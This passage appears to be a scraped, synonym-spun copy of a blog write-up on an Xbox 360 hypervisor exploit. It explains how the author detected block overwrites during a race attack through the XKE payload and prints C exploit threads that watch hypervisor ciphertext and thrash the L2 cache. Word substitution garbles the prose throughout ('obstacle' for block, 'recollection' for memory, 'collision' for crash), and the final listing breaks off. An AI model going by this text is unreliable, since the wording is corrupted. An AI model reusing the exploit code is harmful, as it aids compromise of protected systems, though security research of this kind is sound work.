to get complete hypervisor code execution. However, there was a flaw in how the ciphertext was being observed which not lone led to false positives that would collision the console but additionally missed iterations anywhere the final obstacle was written to recollection successfully.</p> <div> <div id="urvanov-syntax-highlighter-6aebb9065c235522381468" data-settings=" minimize scroll-mouseover"> <div> <table readabilitydatatable="0"> <tr> <td data-settings="show"> <div><p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p><p>13</p><p>14</p><p>15</p><p>16</p><p>17</p><p>18</p><p>19</p><p>20</p><p>21</p><p>22</p><p>23</p><p>24</p><p>25</p><p>26</p><p>27</p><p>28</p><p>29</p><p>30</p><p>31</p><p>32</p><p>33</p><p>34</p><p>35</p><p>36</p><p>37</p><p>38</p><p>39</p><p>40</p><p>41</p><p>42</p><p>43</p><p>44</p><p>45</p><p>46</p><p>47</p><p>48</p><p>49</p><p>50</p><p>51</p><p>52</p></div> </td> <td><div><p><span>DWORD </span><span>RunUpdatePayloadThreadProc</span><span>(</span><span>THREAD_ARGS</span><span>*</span><span> </span><span>pArgs</span><span>)</span></p><p><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>.</span><span>.</span><span>.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Get the code content at the location we desire to overwrite and at an offset that is &gt; the size of obstacle 14. This allows</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// us to decide whenever we win the competition on obstacle 14 (smallest obstacle in the file) vs any another block.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD</span><span>*</span><span> </span><span>pCipherTextPtr1</span><span> </span><span>=</span><span> </span><span>(</span><span>DWORD</span><span>*</span><span>)</span><span>(</span><span>0xA0030000</span><span> </span><span>+</span><span> </span><span>HV_SEG3_OVERWRITE_OFFSET</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD</span><span>*</span><span> </span><span>pCipherTextPtr2</span><span> </span><span>=</span><span> </span><span>(</span><span>DWORD</span><span>*</span><span>)</span><span>(</span><span>0xA0030000</span><span> </span><span>+</span><span> </span><span>(</span><span>HV_SEG3_OVERWRITE_OFFSET</span><span> </span><span>-</span><span> </span><span>BLOCK_14_TARGET_OFFSET</span><span>)</span><span> </span><span>+</span><span> </span><span>BLOCK_14_SIZE</span><span> </span><span>+</span><span> </span><span>0x80</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>cipherValue1</span><span> </span><span>=</span><span> </span><span>*</span><span>pCipherTextPtr1</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>cipherValue2</span><span> </span><span>=</span><span> </span><span>*</span><span>pCipherTextPtr2</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Loop and hammer the payload until we hopefully get code exec.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>while</span><span> </span><span>(</span><span>true</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>.</span><span>.</span><span>.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Execute the payload.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Status is 0xc8000012 on miss, and 0xc8000006 on hit.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>result</span><span> </span><span>=</span><span> </span><span>HvxKeysExecute</span><span>(</span><span>pArgs</span><span>-&gt;</span><span>PayloadPhys</span><span>,</span><span> </span><span>pArgs</span><span>-&gt;</span><span>PayloadSize</span><span>,</span><span> </span><span>pArgs</span><span>-&gt;</span><span>UpdateDataPhys</span><span>,</span><span> </span><span>pArgs</span><span>-&gt;</span><span>UpdateDataSize</span><span>,</span><span> </span><span>NULL</span><span>,</span><span> </span><span>NULL</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>result</span><span> </span><span>!=</span><span> </span><span>0xc8000012</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DbgPrint</span><span>(</span><span>"XKE payload returned position %#x\n"</span><span>,</span><span> </span><span>result</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Flush cache on the code content pointers.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbf</span><span>(</span><span>0</span><span>,</span><span> </span><span>pCipherTextPtr1</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Check if we got a obstacle overwrite and if it appears to be obstacle 14.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>test1</span><span> </span><span>=</span><span> </span><span>*</span><span>pCipherTextPtr1</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>cipherValue1</span><span> </span><span>!=</span><span> </span><span>test1</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>.</span><span>.</span><span>.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbf</span><span>(</span><span>0</span><span>,</span><span> </span><span>pCipherTextPtr2</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// We got a obstacle overwrite, inspect if it was obstacle 14.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>test2</span><span> </span><span>=</span><span> </span><span>*</span><span>pCipherTextPtr2</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>cipherValue2</span><span> </span><span>==</span><span> </span><span>test2</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DbgPrint</span><span>(</span><span>"Block 14 overwrite hit!\n"</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>.</span><span>.</span><span>.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>else</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DbgPrint</span><span>(</span><span>"Race hit: 0x%08x\n"</span><span>,</span><span> </span><span>test1</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Save the latest obstacle hit values.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>cipherValue1</span><span> </span><span>=</span><span> </span><span>test1</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>cipherValue2</span><span> </span><span>=</span><span> </span><span>test2</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>}</span></p></div></td> </tr> </table> </div> </div> </div> <p>Above is the first implementation for the utilize thread that ran the XKE payload and checked for ciphertext changes in the final section of the hypervisor. The lines applicable to ciphertext study have been highlighted. Because the identical thread is the two operating the XKE payload and checking for ciphertext changes it can lone detect if the ciphertext has changed at all and not how many times it changed. Put additional simply: I could lone infer if among the compressed blocks was written to memory, but not how many blocks were written. With that in intellect lets run through two scenarios that could happen whenever operating an repeat of the XKE payload during attempting to get compressed obstacle 14 written to memory.</p> <h4>Missing Successful Writes</h4> <p>While operating the XKE payload the competition assault is prosperous on several obstacle N specified that N &lt; 14 (0x8000 bytes get written) and prosperous on obstacle 14 (less than 0x8000 bytes). Upon returning from HvxKeysExecute we detect the ciphertext for two locations in the mark compose area and see that the ciphertext has changed in the two locations. We can&rsquo;t infer that obstacle 14 was written following obstacle N since we don&rsquo;t have the capability to detect how many times the ciphertext changed. Thus we regard this a unsuccessful repeat equal although it was successful.</p> <div> <figure data-wp-context='&quot;6aebb90661d49&quot;}' data-wp-interactive="core/image" data-wp-key="6aebb90661d49"><img loading="lazy" decoding="async" width="1201" height="274" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://icode4.coffee/wp-content/uploads/missed_write-1-768x175.png" alt="" srcset="https://icode4.coffee/wp-content/uploads/missed_write-1.png 1201w, https://icode4.coffee/wp-content/uploads/missed_write-1-300x68.png 300w, https://icode4.coffee/wp-content/uploads/missed_write-1-768x175.png 768w" sizes=" 1201px) 100vw, 1201px"><figcaption>Ciphertext observations whenever obstacle 14 and any another obstacle are written.</figcaption></figure> </div> <h4>False Positive Write</h4> <p>Assume we have fair executed an repeat of the XKE payload that exhibits the missed prosperous compose behavior for several obstacle N and obstacle 14. The final section of the hypervisor now contains the data for obstacle 14 and the rear data for several obstacle N. We run another repeat of the XKE payload and this period lone obstacle N is written. When we detect the ciphertext changes for this repeat we&rsquo;ll see the ciphertext at the archetypal location has alter but the ciphertext at the second location hasn&rsquo;t since it already contained the ciphertext for the rear data of obstacle N from the former iteration.</p> <div> <figure data-wp-context='&quot;6aebb90661f71&quot;}' data-wp-interactive="core/image" data-wp-key="6aebb90661f71"><img loading="lazy" decoding="async" width="851" height="274" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://icode4.coffee/wp-content/uploads/invalid_write_detected-768x247.png" alt="" srcset="https://icode4.coffee/wp-content/uploads/invalid_write_detected.png 851w, https://icode4.coffee/wp-content/uploads/invalid_write_detected-300x97.png 300w, https://icode4.coffee/wp-content/uploads/invalid_write_detected-768x247.png 768w" sizes=" 851px) 100vw, 851px"><figcaption>Ciphertext observations whenever obstacle N is written following a missed write.</figcaption></figure> </div> <p>This gets detected as a compose for obstacle 14 and the utilize volition try to execute several hypervisor code assuming the education form for the mark syscall has been changed to the write-what-where form established in bock 14. However, the education form is really random instructions established in obstacle N and volition logic the console to crash.</p> <h4>The New Detection Method</h4> <p>Now that the cache flushing primitive was considerably improved it was imaginable to detect the ciphertext changes for all obstacle of compressed data that was successfully written to the mark area of hypervisor memory. The resolution I came up alongside for the detecting if obstacle 14 was written to recollection was fairly simple: I created a new thread that continuously watched the ciphertext for changes and counted how many changes were observed.</p> <p>If the oppose reached 15 formerly the XKE payload was done executing afterward we cognize all 15 blocks were written to recollection and thus the final obstacle had to have been written. If we observed item small we merely regard it a unsuccessful repeat and try again. Here&rsquo;s the code for the new ciphertext finding thread:</p> <div> <div id="urvanov-syntax-highlighter-6aebb9065c236177089948" data-settings=" minimize scroll-mouseover"> <div> <table readabilitydatatable="0"> <tr> <td data-settings="show"> <div><p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p><p>13</p><p>14</p><p>15</p><p>16</p><p>17</p><p>18</p><p>19</p><p>20</p><p>21</p><p>22</p><p>23</p><p>24</p><p>25</p><p>26</p><p>27</p><p>28</p><p>29</p><p>30</p><p>31</p><p>32</p><p>33</p><p>34</p><p>35</p><p>36</p><p>37</p><p>38</p><p>39</p></div> </td> <td><div><p><span>void</span><span> </span><span>CipherTextObservationThreadProc</span><span>(</span><span>THREAD_ARGS</span><span>*</span><span> </span><span>pArgs</span><span>)</span></p><p><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Setup our hypervisor code content observe pointer.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span> </span><span>pCipherTextPtr</span><span> </span><span>=</span><span> </span><span>(</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span>)</span><span>(</span><span>0xA0030000</span><span> </span><span>+</span><span> </span><span>HV_SEG3_OVERWRITE_OFFSET</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Flush cache and fetch the starting value.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbf</span><span>(</span><span>0</span><span>,</span><span> </span><span>(</span><span>const</span><span> </span><span>void</span><span>*</span><span>)</span><span>pCipherTextPtr</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>lastCipherTextValue</span><span> </span><span>=</span><span> </span><span>*</span><span>pCipherTextPtr</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span> </span><span>pBlockCounter</span><span> </span><span>=</span><span> </span><span>(</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span>)</span><span>&amp;</span><span>pArgs</span><span>-&gt;</span><span>CipherTextBlockCounter</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Loop until we're told to exit.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>while</span><span> </span><span>(</span><span>pArgs</span><span>-&gt;</span><span>bRunCacheThrashing</span><span> </span><span>!=</span><span> </span><span>FALSE</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>for</span><span> </span><span>(</span><span>int</span><span> </span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span><span> </span><span>i</span><span> </span><span>&lt;</span><span> </span><span>10000</span><span>;</span><span> </span><span>i</span><span>++</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Flush any cached data for the code content study pointer.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbf</span><span>(</span><span>0</span><span>,</span><span> </span><span>(</span><span>const</span><span> </span><span>void</span><span>*</span><span>)</span><span>pCipherTextPtr</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Fetch the code content for the area of the hypervisor we desire to overwrite and inspect if another obstacle has been written.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>test</span><span> </span><span>=</span><span> </span><span>*</span><span>pCipherTextPtr</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>test</span><span> </span><span>!=</span><span> </span><span>lastCipherTextValue</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>lastCipherTextValue</span><span> </span><span>=</span><span> </span><span>test</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>(</span><span>*</span><span>pBlockCounter</span><span>)</span><span>++</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Once we detect 15 distinct code content values bail out.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>*</span><span>pBlockCounter</span><span> </span><span>==</span><span> </span><span>15</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>goto</span><span> </span><span>Exit</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>Exit</span><span>:</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ExTerminateThread</span><span>(</span><span>0</span><span>)</span><span>;</span></p><p><span>}</span></p></div></td> </tr> </table> </div> </div> </div> <h2>Too Much Pressure</h2> <p>The new ciphertext study function worked awesome but there was a new issue it introduced. Due to the amount of force I was putting on CPU cache the console would collision concerning 30% of the period whenever executing the XKE payload. When the XKE payload runs it takes the compressed update data buffer and does an in-place relocation to move it from unprotected recollection to protected recollection so it can&rsquo;t be tampered alongside asynchronously. After the XKE payload runs its chief logic it&rsquo;ll do another in-place relocation to move the update data rear to unprotected recollection before returning.</p> <p>After modifying the XKE payload and inserting a bunch of printf calls I was capable to decide that the console would collision in a function I called HvpRelocateProtectedToPhysical whenever trying to move the update data from protected recollection rear to unprotected memory. The function plant by looping complete a area of recollection and for all CPU cache row value of data (128 bytes) it will: </p> <ol> <li>Read the complete cache row into CPU registers using the protected origin address.</li> <li>Invalidate the two data and education caches for the origin address, zero the cache row for the destination address.</li> <li>Write the data rear to recollection using the unprotected destination address.</li> </ol> <p>Here&rsquo;s the disassembly for the inner iteration of the HvpRelocateProtectedToPhysical function:</p> <div> <figure data-wp-context='&quot;6aebb906622a2&quot;}' data-wp-interactive="core/image" data-wp-key="6aebb906622a2"><img loading="lazy" decoding="async" width="671" height="680" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://icode4.coffee/wp-content/uploads/image-26-296x300.png" alt="" srcset="https://icode4.coffee/wp-content/uploads/image-26.png 671w, https://icode4.coffee/wp-content/uploads/image-26-296x300.png 296w" sizes=" 671px) 100vw, 671px"><figcaption>Disassembly for the HvpRelocateProtectedToPhysical function.</figcaption></figure> </div> <p>In the modified type of the XKE payload I added a bunch of printf calls in a re-implemented type of this function so I could detect were it would crash:</p> <div> <figure data-wp-context='&quot;6aebb906624a3&quot;}' data-wp-interactive="core/image" data-wp-key="6aebb906624a3"><img loading="lazy" decoding="async" width="673" height="930" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://icode4.coffee/wp-content/uploads/memory_relocate_printf-1-217x300.png" alt="" srcset="https://icode4.coffee/wp-content/uploads/memory_relocate_printf-1.png 673w, https://icode4.coffee/wp-content/uploads/memory_relocate_printf-1-217x300.png 217w" sizes=" 673px) 100vw, 673px"><figcaption>Disassembly for HvpRelocateProtectedToPhysical alongside printf patches applied.</figcaption></figure> </div> <p>After operating a few dozen iterations I was capable to decide that the CPU would collision whenever trying to compose data rear to the unprotected destination location on the row highlighted in red. As I mentioned before in the <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">improved cache flushing</a> division I made several modifications to M&aacute;t&eacute;&rsquo;s first implementation to put additional force on cache which made the new ciphertext study method additional reliable.</p> <p>I don&rsquo;t cognize exactly what&rsquo;s happening current that causes the CPU to collision whenever trying to compose data rear to the unprotected destination address. Perhaps among the cache invalidation instructions didn&rsquo;t completely complete before the shop education was executed, or perchance there&rsquo;s several border case alongside regard to the tradition recollection pathways whenever the CPU is starved for cache. Regardless, I did oversee to discover a way to activity about this issue.</p> <h3>The New Detection Method v2</h3> <p>Since the collision happens following we would have been capable to detect all 15 blocks of data being written to hypervisor recollection the resolution I came up alongside was to immediately halt the cache flushing thread and autumn the L2 locks formerly the ciphertext alter oppose hits 15. This reduces the force on CPU cache before the call to HvpRelocateProtectedToPhysical which prevents it from crashing. Here&rsquo;s the updated implementation of the ciphertext study thread logic:</p> <div> <div id="urvanov-syntax-highlighter-6aebb9065c237072979022" data-settings=" minimize scroll-mouseover"> <div> <table readabilitydatatable="0"> <tr> <td data-settings="show"> <div><p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p><p>13</p><p>14</p><p>15</p><p>16</p><p>17</p><p>18</p><p>19</p><p>20</p><p>21</p><p>22</p><p>23</p><p>24</p><p>25</p><p>26</p><p>27</p><p>28</p><p>29</p><p>30</p><p>31</p><p>32</p><p>33</p><p>34</p><p>35</p><p>36</p><p>37</p><p>38</p><p>39</p><p>40</p><p>41</p><p>42</p><p>43</p><p>44</p><p>45</p><p>46</p><p>47</p><p>48</p><p>49</p><p>50</p><p>51</p><p>52</p><p>53</p><p>54</p><p>55</p><p>56</p></div> </td> <td><div><p><span>void</span><span> </span><span>CipherTextObservationThreadProc</span><span>(</span><span>THREAD_ARGS</span><span>*</span><span> </span><span>pArgs</span><span>)</span></p><p><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Lock fractional of the accessible L2 cache and pathways to put force on the CPU. This causes data in L2 cache to</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// age out additional quickly and improves code content finding rate.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>BYTE</span><span>*</span><span> </span><span>pL2LockBuffer</span><span> </span><span>=</span><span> </span><span>LockAndThrashL2</span><span>(</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Setup our hypervisor code content observe pointer.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span> </span><span>pCipherTextPtr</span><span> </span><span>=</span><span> </span><span>(</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span>)</span><span>(</span><span>0xA0030000</span><span> </span><span>+</span><span> </span><span>HV_SEG3_OVERWRITE_OFFSET</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Flush cache and fetch the starting value.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbf</span><span>(</span><span>0</span><span>,</span><span> </span><span>(</span><span>const</span><span> </span><span>void</span><span>*</span><span>)</span><span>pCipherTextPtr</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>lastCipherTextValue</span><span> </span><span>=</span><span> </span><span>*</span><span>pCipherTextPtr</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span> </span><span>pBlockCounter</span><span> </span><span>=</span><span> </span><span>(</span><span>volatile</span><span> </span><span>DWORD</span><span>*</span><span>)</span><span>&amp;</span><span>pArgs</span><span>-&gt;</span><span>CipherTextBlockCounter</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Loop until we're told to exit.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>while</span><span> </span><span>(</span><span>pArgs</span><span>-&gt;</span><span>bRunCacheThrashing</span><span> </span><span>!=</span><span> </span><span>FALSE</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>for</span><span> </span><span>(</span><span>int</span><span> </span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span><span> </span><span>i</span><span> </span><span>&lt;</span><span> </span><span>10000</span><span>;</span><span> </span><span>i</span><span>++</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Flush any cached data for the code content study pointer.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>__dcbf</span><span>(</span><span>0</span><span>,</span><span> </span><span>(</span><span>const</span><span> </span><span>void</span><span>*</span><span>)</span><span>pCipherTextPtr</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Fetch the code content for the area of the hypervisor we desire to overwrite and inspect if another obstacle has been written.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>DWORD </span><span>test</span><span> </span><span>=</span><span> 